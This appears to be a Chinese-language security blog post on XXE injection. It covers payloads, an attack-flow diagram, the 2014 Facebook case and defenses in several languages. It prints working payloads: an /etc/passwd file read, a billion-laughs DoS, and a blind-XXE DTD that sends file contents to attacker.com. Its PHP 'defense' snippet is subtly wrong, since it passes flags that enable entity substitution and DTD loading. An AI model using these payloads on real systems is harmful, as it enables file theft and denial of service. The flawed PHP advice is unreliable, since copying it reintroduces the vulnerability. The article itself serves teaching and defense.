Luke a Pro

Luke Sun

Developer & Marketer

🇺🇦
EN||

XML 外部实体 (XXE) 注入

| , 4 minutes reading.

1. 定义

XML 外部实体 (XXE) 注入 是一种针对解析 XML 输入的应用程序的漏洞。它利用 XML 的一个称为「外部实体」的特性来:

  • 读取服务器上的任意文件
  • 执行服务器端请求伪造 (SSRF)
  • 执行拒绝服务攻击
  • 在某些情况下实现远程代码执行

当 XML 解析器被配置为处理外部实体声明(可以引用本地文件或远程 URL)时,就会出现 XXE 漏洞。

2. 技术原理

XML 允许定义实体作为内容的快捷方式。外部实体可以引用 XML 文档外部的内容。

基本 XML 实体语法:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY myEntity "Hello World">
]>
<root>&myEntity;</root>

外部实体 (XXE) 载荷:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

解析时,&xxe; 会被替换为 /etc/passwd 的内容。

常见的 XXE 攻击类型:

  1. 文件泄露: 读取敏感文件(/etc/passwd、配置文件、源代码)。
  2. SSRF: 向内部服务发起请求(http://169.254.169.254/)。
  3. 盲 XXE: 当输出不返回时,通过带外通道泄露数据。
  4. 十亿笑声 (DoS): 指数级扩展的实体使解析器崩溃。

十亿笑声攻击:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root>&lol4;</root>

这个小载荷在内存中会扩展到数 GB 的数据。

3. 攻击流程

sequenceDiagram
    participant Attacker as 攻击者
    participant WebApp as Web 应用程序
    participant XMLParser as XML 解析器
    participant FileSystem as 文件系统

    Attacker->>WebApp: POST /api/upload<br/>Content-Type: application/xml

    Note over Attacker: 包含外部实体定义的<br/>XML 载荷

    WebApp->>XMLParser: 解析 XML 输入

    XMLParser->>XMLParser: 处理 DOCTYPE 声明<br/>发现外部实体

    XMLParser->>FileSystem: 读取 file:///etc/passwd

    FileSystem-->>XMLParser: 返回文件内容

    XMLParser-->>WebApp: 解析后的 XML 包含文件内容

    WebApp-->>Attacker: 响应包含 /etc/passwd

4. 真实案例:Facebook XXE (2014)

目标: Facebook 招聘门户。 漏洞类别: 通过 Word 文档上传的盲 XXE。

漏洞背景: Facebook 的招聘页面允许用户上传简历。该应用程序接受 .docx 文件,这实际上是包含 XML 文件的 ZIP 压缩包。处理这些文件的 XML 解析器启用了外部实体处理。

攻击过程: 安全研究员 Mohamed Ramadan 发现:

  1. .docx 文件包含 XML 文件(例如 word/document.xml)。
  2. 他制作了一个在 XML 中包含 XXE 载荷的恶意 .docx
  3. 载荷引用了他控制的外部 URL。
  4. 当 Facebook 解析文档时,它向他的服务器发起了请求。

盲 XXE 数据泄露: 由于文件内容没有直接返回,他使用参数实体来泄露数据:

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>

外部 DTD(evil.dtd)包含:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

影响: 这允许读取 Facebook 服务器上的任意文件。Mohamed 获得了 33,500 美元的赏金,Facebook 通过禁用外部实体处理修复了该漏洞。

5. 深度防御策略

A. 禁用外部实体处理

最有效的防御是完全禁用外部实体。

Java (DocumentBuilderFactory):

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Python (lxml):

from lxml import etree

parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(xml_file, parser)

PHP:

libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);

.NET:

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);

B. 使用更简单的数据格式

如果可能,避免对用户输入使用 XML。

  • JSON: 没有实体处理功能。
  • YAML: 更简单的结构(但有其自身的安全问题)。
  • Protocol Buffers / MessagePack: 没有这些风险的二进制格式。

C. 输入验证

如果必须使用 XML,请验证和清理输入。

  • Schema 验证: 使用 XSD 强制执行结构。
  • 剥离 DOCTYPE: 移除或拒绝包含 DOCTYPE 声明的 XML。
  • Content-Type 检查: 确保上传的文件与预期类型匹配。

D. Web 应用防火墙 (WAF)

配置 WAF 规则以检测 XXE 模式。

  • 阻止包含 <!ENTITY<!DOCTYPESYSTEMPUBLIC 的请求。
  • 注意攻击者可能使用编码来绕过简单的模式匹配。

E. 最小权限

限制 XML 解析器的访问权限。

  • 文件系统: 在具有最小文件访问权限的沙箱环境中运行解析器。
  • 网络: 阻止 XML 处理服务的出站连接。
  • 用户权限: 解析器进程不应以 root 身份运行。

6. 参考资料